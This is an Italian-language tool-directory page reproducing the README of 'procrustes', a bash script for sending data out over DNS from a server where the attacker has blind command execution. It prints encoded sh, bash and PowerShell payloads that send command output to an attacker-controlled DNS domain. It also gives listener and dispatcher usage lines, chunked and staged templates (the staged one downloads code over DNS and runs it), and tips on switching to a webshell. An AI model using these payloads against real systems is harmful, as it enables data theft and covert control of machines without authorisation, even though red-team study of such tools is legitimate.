Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
procrustes — Uno script bash che automatizza l'esfiltrazione di dati tramite DNS nel caso in cui si abbia un'esecuzione di comandi cieca su un server con filtro di uscita. | Kitploit
Strumenti/GitHubGitHub/vp777/procrustes
ExploitEsfiltrazione DatiCommand and ControlRed TeamingAnalisi DNS
GitHubvp777/procrustes

procrustes

Uno script bash che automatizza l'esfiltrazione di dati tramite DNS nel caso in cui si abbia un'esecuzione di comandi cieca su un server con filtro di uscita.

Vedi Repository
210325 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Procrustes

Uno script bash che automatizza l'esfiltrazione di dati tramite DNS nel caso in cui abbiamo un'esecuzione cieca di comandi su un server dove tutte le connessioni in uscita tranne il DNS sono bloccate. Lo script attualmente supporta sh, bash e PowerShell ed è compatibile con l'esecuzione di comandi di tipo exec (ad es. java.lang.Runtime.exec).

Non staged:

Staged:

Per il suo funzionamento, lo script prende come input il comando che vogliamo eseguire sul server di destinazione e lo trasforma in base alla shell di destinazione per permettere che il suo output venga esfiltrato tramite DNS. Dopo che il comando è stato trasformato, viene passato al "dispatcher". Il dispatcher è un programma fornito dall'utente ed è responsabile di prendere in input un comando e farlo eseguire sul server di destinazione con qualsiasi mezzo necessario (ad es. sfruttando una vulnerabilità). Dopo che il comando è stato eseguito sul server di destinazione, ci si aspetta che attivi richieste DNS al nostro server DNS contenenti blocchi dei nostri dati. Lo script rimane in ascolto di tali richieste finché l'output del comando fornito dall'utente non è completamente esfiltrato.

Di seguito sono riportate le trasformazioni di comando supportate, generate per l'esfiltrazione del comando: ls

sh:

root@kitploit:~
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=

bash:

root@kitploit:~
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash

powershell:

root@kitploit:~
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=

Utilizzo

  1. Test locale per bash:
root@kitploit:~
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
  1. Test locale per PowerShell con WSL2:
root@kitploit:~
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
  1. Esempio con PowerShell in cui ci colleghiamo tramite SSH al nostro NS per ottenere le richieste DNS in arrivo.
root@kitploit:~
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
  1. Maggiori informazioni sulle opzioni
root@kitploit:~
./procroustes_chunked.sh --help

procroustes_chunked vs procroustes_full

In poche parole, supponendo di voler esfiltrare alcuni dati che devono essere suddivisi in quattro blocchi per poter essere trasmessi tramite DNS:

  • procroustes_chunked: chiama il dispatcher quattro volte, ogni volta richiedendo un blocco diverso dal server. Ha una dimensione del payload relativamente piccola, è veloce e non necessita di alcuna configurazione speciale.
  • procroustes_full: chiama il dispatcher una volta, il comando che verrà eseguito sul server sarà responsabile di suddividere i dati e inviarli. Può avere una dimensione del payload maggiore, è veloce (la velocità può essere regolata tramite il parametro -t) e la sua velocità può essere ulteriormente ottimizzata quando il dns_server è in esecuzione sul name server.
  • procroustes_full/staged: come procroustes_full, ma utilizza uno stager per ottenere il comando usato da procroustes_full per suddividere i dati. Ha la dimensione del "payload" più piccola ma è anche il più lento in termini di velocità di esfiltrazione poiché il payload effettivo viene scaricato tramite DNS. Per il suo funzionamento richiede la creazione di uno script nsconfig. Nota: lo script nsconfig deve essere creato solo una volta per name server (e non per server di destinazione).

Alcune delle loro differenze possono essere illustrate anche attraverso i comandi modello usati per bash:

procroustes_chunked/bash:

root@kitploit:~
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%

procroustes_full/bash:

root@kitploit:~
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%

procroustes_full/bash/staged:

root@kitploit:~
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash

[1] Per la versione staged, il comando viene scaricato tramite DNS, quindi la dimensione elencata è anche la dimensione totale del payload.

[2] In procroustes_chunked, il dispatcher viene chiamato più volte e così anche il comando fornito che dovrebbe essere eseguito sul server (fino a quando tutto il suo output non viene esfiltrato). Questo comportamento non è ideale nel caso in cui la consegna dei comandi al server (cioè chiamando il dispatcher) sia intensiva in termini di tempo/risorse.

Potrebbe anche causare problemi nel caso in cui il comando che stiamo eseguendo sul server non sia idempotente (funzionalmente o per output, ad es. "ls;rm file") o sia intensivo in termini di tempo/risorse (ad es. find / -name secret). Una soluzione alternativa in questo caso è di salvare prima l'output del comando in un file (ad es. /tmp/file) e poi usare lo script per leggere quel file.

[3] Nella versione staged abbiamo l'overhead del tempo necessario per ottenere il payload effettivo tramite DNS. Va notato che lo script utilizza record A per ottenere il payload effettivo. Anche se questo permette al nostro traffico di mimetizzarsi meglio con il traffico regolare dell'ambiente di destinazione, offre una capacità di canale limitata (ad es. 4 byte per richiesta). Potremmo utilizzare altri tipi di record come TXT e ridurre al minimo il tempo di download dello stage (quasi zero) e la dimensione dello stager.

Suggerimenti

  • Probabilmente vorrai utilizzare questo script il meno possibile, cerca di passare a un canale con maggiore larghezza di banda il prima possibile (ad es. HTTP-webshell)
  • Nel caso in cui sia previsto un output di testo lungo, puoi provare a comprimerlo prima per velocizzare il processo di esfiltrazione, ad es. ./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip'
  • Un'altra possibilità per file grandi/binari è copiarli in un percorso accessibile ad esempio tramite HTTP
  • Per aumentare la larghezza di banda di esfiltrazione in procrustes_full, esegui dns_server sul tuo name server. In questo modo, evitiamo di attendere il timeout del DNS_TRIGGER sottostante prima di passare a un nuovo blocco.
  • Idealmente, avresti un dominio (opzione -h) con un record NS che punta a un server controllato da te (server su cui eseguire tcpdump). Tuttavia, nel caso in cui al target sia consentito avviare connessioni verso server DNS arbitrari, questo può essere evitato impostando esplicitamente il trigger DNS per utilizzare il nostro server DNS (ad es. dig @your_server whatev.er)

Crediti

  • Collabfiltrator - idea di suddividere i dati sul server. Esegue anche funzionalità simili a questo script, quindi dai un'occhiata.
  • DNSlivery - una versione modificata di DNSlivery viene utilizzata come server DNS
Scarica lo strumento
procroustes_chunkedprocroustes_fullprocroustes_full_staged
overhead dimensione payload (bash/PowerShell)150*NLABELS/500*NLABELS (+CMD_LEN)300/800 (+CMD_LEN)150/400[1]
chiamate dispatcher ##output/(LABEL_SIZE*NLABELS)[2]11
velocità (bash/PowerShell)✔/✔✔/✔✓/✓[3]
difficoltà di configurazionefacilefacile+medio